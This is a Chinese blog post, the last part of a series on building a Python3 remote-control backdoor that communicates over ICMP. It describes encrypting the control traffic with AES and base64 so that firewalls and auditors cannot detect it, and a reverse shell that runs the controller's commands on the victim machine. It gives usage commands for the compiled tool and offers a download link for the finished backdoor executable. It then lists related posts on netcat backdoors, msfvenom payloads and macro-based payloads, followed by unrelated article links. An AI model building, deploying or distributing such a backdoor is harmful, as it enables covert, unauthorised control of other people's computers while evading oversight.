ICMP后门


前言

第一篇:Python3实现ICMP远控后门(上)

第二篇:Python3实现ICMP远控后门(上)_补充篇

第三篇:Python3实现ICMP远控后门(中)之“嗅探”黑科技

熬到最后一篇了,本系列的Boss要出场了,实现了一个有意思的ICMP后门,暂时使用pyinstaller打包成了一个win32和64版本,如下图所示。

在前几篇的基础上,本篇扩展的知识点为数据的加密和解密,以及shell的调用,并最终生成一个可用的ICMP后门。本篇总共分为五节,需要花费5分钟时间。

第一节 通信的加密与解密  

ICMP远控采用的是ICMP协议进行通信,为了确保通信的保密性,防止防火墙或者审计人员探测出控制信息,决定对ICMP数据域的内容进行加密处理。

本次采用的是AES加密与base64编码相结合的方式。AES为最常见的对称加密算法(微信小程序加密传输就是用这个加密算法的)。对称加密算法也就是加密和解密用相同的密钥,具体的加解密流程如下图:

AES只是个基本算法,实现AES有若干模式。其中的CBC模式因为其安全性而被TLS(就是https的加密标准)和IPSec(win采用的)作为技术标准。简单地说,CBC使用密码和salt(起扰乱作用)按固定算法(md5)产生key和iv。然后用key和iv(初始向量,加密第一块明文)加密(明文)和解密(密文)。

下面介绍ICMP远控的加密解密方案,对于AES加解密,这里采用CBC模式,在Python3.5及之前版本使用pycrypto‎模块,之后版本使用pycrytodome模块。

加密

先是使用AES加密,对于传入的加密内容长度必须为16的倍数,不足则补为16的倍数,我这里是设置的补为32的倍数。使用AES加密结束后,对加密后的内容进行base64编码,以便传输。

 

解密

先是对加密后的内容进行base64解码,接着在进行AES解密,最后去掉为了对齐填充的内容。

第二节 Shell调用

ICMP后门最基本的功能就是完成shell的调用,也就是经常说的反弹shell。反弹的shell即是受控端的shell,控制端通过ICMP协议将shell命令发送给受控端,受控端调用shell执行命令,并将命令结果通过ICMP协议回传给控制端。Python中对shell的调用如下:

第三节 程序的整体结构

代码中总共有三个类,父类Transfer,两个子类client和server。Transfer类主要完成了socket初始化,加解密,icmp协议封包的通用功能。同时提供了一个reverse方法需要子类实现。

父类Transfer

子类client

 

子类server

第四节 使用方法

以我生成的icmpshell_win32.exe为例,为了方便演示,开启了一个VM虚拟机,和主机组成局域网,VM虚拟机中运行的是win7 32位的系统,主机运行的是win7 64的系统。主机的ip为192.168.72.4,虚拟机的ip为192.168.72.133.

 

主机作为控制端,虚拟机作为受控端。首先在主机上运行如下命令(管理员权限运行)

icmpshell_win32.exe -s 192.168.72.4

其中 -s参数用于指明控制端的ip

在受控端运行如下命令(管理员权限运行)

icmpshell_win32.exe -l 192.168.72.133 -c 192.168.72.4

其中 -l参数用于指明受控端的ip,-c参数用于指明要连接的控制端的ip

 

受控端运行效果

控制端运行效果

 

执行dir命令和tasklist命令

whoami命令

icmpshell源代码已经优先上传到知识星球中,想看源代码的朋友请关注我的知识星球。

如果大家只是想玩一下,给大家提供了icmpshell_win32.exe的下载链接。

https://pan.baidu.com/s/1xQRyxmq6PUw6qHMU9ZKZ4g 密码:8rgu

最后

如果觉得本文还可以,一定记得推荐哟。欢迎关注我的公众号,知识星球在菜单中。

回复【1】:领取 Python数据分析 教程大礼包
回复【2】:领取 Python Flask 全套教程 
回复【3】:领取 机器学习 全套教程

Python3实现ICMP远控后门(下)之“Boss”出场的更多相关文章

  1. Python3实现ICMP远控后门(中)之“嗅探”黑科技

    ICMP后门 前言 第一篇:Python3实现ICMP远控后门(上) 第二篇:Python3实现ICMP远控后门(上)_补充篇 在上两篇文章中,详细讲解了ICMP协议,同时实现了一个具备完整功能的pi ...

  2. Python3实现ICMP远控后门(上)_补充篇

    ICMP后门(上)补充篇 前言 在上一篇文章Python3实现ICMP远控后门(上)中,我简要讲解了ICMP协议,以及实现了一个简单的ping功能,在文章发表之后,后台很多朋友留言,说对校验和的计算不 ...

  3. Python3实现ICMP远控后门(上)

    这几天一直在研究远控木马的一些通信协议,比如TCP,UDP,ICMP,DNS,HTTP等等,对于TCP,UDP这两种就不讲解了,因为太常见了. 大家可能对采用ICMP,DNS的木马不是很熟悉,其实这两 ...

  4. 用nc+简单bat/vbs脚本+winrar制作迷你远控后门

    前言 某大佬某天和我聊起了nc,并且提到了nc正反向shell这个概念. 我对nc之前的了解程度仅局限于:可以侦听TCP/UDP端口,发起对应的连接. 真正的远控还没实践过,所以决定写个小后门试一试. ...

  5. 2019-9-11:渗透测试,Kill远控软件,初接触

     初步使用Kill远控软件,使win7靶机被远控 该文章仅供学习,利用方法来自网络文章,仅供参考   1,打开运行Kill,选择系统设置,设置监听端口,通讯密码,点击保存设置 2,点击服务生成,上线参 ...

  6. 利用kage把msf变成可视化远控平台

    项目下载https://github.com/WayzDev/Kage/releases 这里用kali系统演示 1,先下载kage: 2,右击给予执行权限 3,启动msf msfconsole -q ...

  7. 使用kali生成远控payload

    kali linux中的metasploit框架是优秀的渗透框架之一,今天记载一下使用kali生成windows远控木马的过程 生成payload使用的工具是MSFVenom,我们输入msfvenom ...

  8. 域控场景下windows安全日志的分析--审计认证行为和命令的历史记录

    https://www.cnblogs.com/KevinGeorge/p/8563458.html 一.域控windows安全日志基本操作 1.打开powershell或者cmd 1 #gpedit ...

  9. 【原创】利用Office宏实现powershell payload远控

    本文将演示使用Veil-Evasion生成远控所需要的payload以及监听器,然后使用MacroShop生成payload 相关的VBA代码,最后演示将VBA代码写入.doc文本文档的宏中. 环境: ...

随机推荐

  1. DEVICE_ATTR实例分析

    在内核中, sysfs 属性一般是由 __ATTR 系列的宏来声明的,如对设备的使用 DEVICE_ATTR ,对总线使用 BUS_ATTR ,对驱动使用 DRIVER_ATTR ,对类别(class ...

  2. "《算法导论》之‘图’":不带权二分图最大匹配(匈牙利算法)

    博文“二分图的最大匹配.完美匹配和匈牙利算法”对二分图相关的几个概念讲的特别形象,特别容易理解.本文介绍部分主要摘自此博文. 还有其他可参考博文: 趣写算法系列之--匈牙利算法 用于二分图匹配的匈牙利 ...

  3. linux下分割和重组文件

    linux shell命令里的split和cat命令可以轻松完成这两个功能,举个例子来说,比如一个1GB大小的文件foo.zip,以100M为块分割: 分割: split -b 100M -d foo ...

  4. LeetCode(51)- Count and Say

    题目: The count-and-say sequence is the sequence of integers beginning as follows: 1, 11, 21, 1211, 11 ...

  5. javascript语言扩展:可迭代对象(5)

    文章1-4篇说的都是js中的可迭代对象,下面让我们看看ruby中的等价物. 不可否认,ruby中对于迭代器和生成器的语法都相当简洁:ruby从一开始就有一个简洁的基因,而js后来的不断扩充使得其有些语 ...

  6. python snownlp情感分析简易demo

    SnowNLP是国人开发的python类库,可以方便的处理中文文本内容,是受到了TextBlob的启发而写的,由于现在大部分的自然语言处理库基本都是针对英文的,于是写了一个方便处理中文的类库,并且和T ...

  7. XML学习教程

    XML学习进阶1-- 什么是XML. 为什么使用 XML?... 什么是 XML?... 数据的结构表示... XML 文档... 数据是从表示和处理中分离出来的... 使XML数据自描述... XM ...

  8. 体育Bank2016会议笔记

    补注:会议全称应该是体育Bank2016体育投融资总裁年会 新华社体育部徐仁基 演讲主题:帮郭川找到大海-->帮民众找到自己真正的体育爱好 激发和培养体育市场是重中之重 将体育培养成生活习惯.生 ...

  9. mysql distinct field1,field2,field3, .... from table

    mysql distinct field1,field2,field3, .... from table 我们知道 这样的sql可以去掉重复项 (field1的重复项); select distinc ...

  10. 第一次作业 orm环境构建(hibernate)及基本的demo

    一.数据库 1.创建数据库hibernate01-1514010311 2.创建表 customer CREATE TABLE customer( id int(11) not null auto_i ...